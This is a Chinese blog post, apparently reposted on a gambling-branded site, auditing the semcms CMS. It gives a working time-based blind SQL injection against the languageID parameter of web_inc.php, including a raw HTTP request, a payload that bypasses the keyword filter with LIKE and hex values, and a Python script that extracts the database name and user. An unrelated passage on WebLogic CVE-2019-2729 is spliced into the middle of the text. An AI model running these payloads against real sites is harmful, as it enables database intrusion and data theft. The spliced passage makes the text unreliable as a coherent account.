semcms代码审计:基于时间的盲注 | Sunbet
登录
  • 欢迎进入Sunbet!
  • 如果您觉得Sunbet对你有帮助,那么赶紧使用Ctrl+D 收藏Sunbet并分享出去吧
  • 您好,这里是Sunbet!

semcms代码审计:基于时间的盲注

Sunbet_新闻事件 申博 170次浏览 已收录

介绍

semcms是一个建设体积小,加载速度快,数据移动方便的外贸网站,采用php+mysql+apache搭建

网站搭建

从官网下载源码,之后填入数据,安装即可
semcms代码审计:基于时间的盲注

漏洞详情

漏洞文件为Include下的web_inc.php文件

POST /Include/web_inc.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: scusername=%E6%80%BB%E8%B4%A6%E5%8F%B7; scuseradmin=Admin; scuserpass=c4ca4238a0b923820dcc509a6f75849b
Upgrade-Insecure-Requests: 1
Content-Length: 64
Content-Type: application/x-www-form-urlencoded

languageID=0 or if(substr(database(),1,1) like 0x6D,sleep(5),1);

基于时间的注入

代码审计

查看web_inc.php的关键代码

if (isset($_POST["languageID"])){$Language=test_input(verify_str($_POST["languageID"]));}else{$Language=verify_str($Language);}

if(!empty($Language)){

      //网站SEO设定

      $query=$db_conn->query("select * from sc_tagandseo where languageID=$Language");
      $row=mysqli_fetch_array($query);
      $tag_indexmetatit=datato($row['tag_indexmetatit']);// 首页标题
      $tag_indexkey=datato($row['tag_indexkey']);// 首页关键词
      $tag_indexdes=datato($row['tag_indexdes']);// 首页描述 

......

可以看到查询语句没有利用单引号闭合

跟入过滤函数查看

cve-2019-2729 weblogic 12.1.3版本分析

前因 weblogic 2729过去了这么久,一开始只有10.3.6的版本exp以及分析公开,现在12.1.3 exp也在阿里白帽大会公布了,于是分析一下。 分析过程 soucre 拿10.3.6的payload来打,发现报错。 无法使用UnitOfWorkChangeSet这个类,12.1.3已经没有这个类了。 weblogic 2715禁止使用class标签了,通过DocumentHandler查看是否还有其他标签和属性是否可用。 jdk1.7比jdk1.6多了几个标签。看看有什么利用 property标签 网上有例子,并且官方有文档解释。 https://docs.oracle.com/cd/E17802_01/products/products/jfc/tsc/articles/persistence2/beanbox_Folder.1/docs/javadoc/java/beans/XMLEncoder.html

function test_input($data) { 
      $data = str_replace("%", "percent", $data);
      $data = trim($data);
      $data = stripslashes($data);
      $data = htmlspecialchars($data,ENT_QUOTES);
      return $data;

   }
function inject_check_sql($sql_str) {

     return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
} 

function verify_str($str) { 

   if(inject_check_sql($str)) {

       exit('Sorry,You do this is wrong! (.-.)');
    } 

    return $str; 
}

过滤了一些关键字,正常的联合注入是没有办法了,可以时间盲注

利用ifsleep构造payload,因为<,=被过滤且存在htmlspecialchars函数,利用like代替

languageID=0 or if(substr(database(),1,1) like 0x6e,sleep(5),1);

附上脚本

# !/usr/bin/python3
# -*- coding:utf-8 -*-
# author: Forthrglory

import requests

def getDatabase(url):
    s = ''
    r = requests.session()
    head = {'Content-Type':'application/x-www-form-urlencoded'}

    for i in range(1,9):
        for j in range(97,122):
            data = 'languageID=0 or if(substr(database(),%s,1) like %s,sleep(5),1);' % (i,hex(j))

            result = r.post(url, data, headers=head)

            if(result.elapsed.total_seconds() > 5):
                s = s + chr(j)
                print(s)
                break
    print('database=' + s)


def getUser(url):
    s = ''
    r = requests.session()
    head = {'Content-Type':'application/x-www-form-urlencoded'}

    for i in range(1,21):
        for j in range(64,90):
            data = 'languageID=0 or if(substr(user(),%s,1) like %s,sleep(5),1);' % (i,hex(j))

            result = r.post(url, data, headers=head)

            if(result.elapsed.total_seconds() > 5):
                s = s + chr(j).lower()
                print(s)
                break
    print('user=' + s)

if __name__ == '__main__':
    url = 'http://127.0.0.1/Include/web_inc.php'

    s = getDatabase(url)
    u = getUser(url)

运行截图

semcms代码审计:基于时间的盲注

不过因为过滤了select,暂时不知道怎么注出数据ORZ,比如说注出user表中的密码之类的,如果有师傅愿意不吝赐教,这里万分感谢

 


Sunbet|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明semcms代码审计:基于时间的盲注
喜欢 (0)
[]
分享 (0)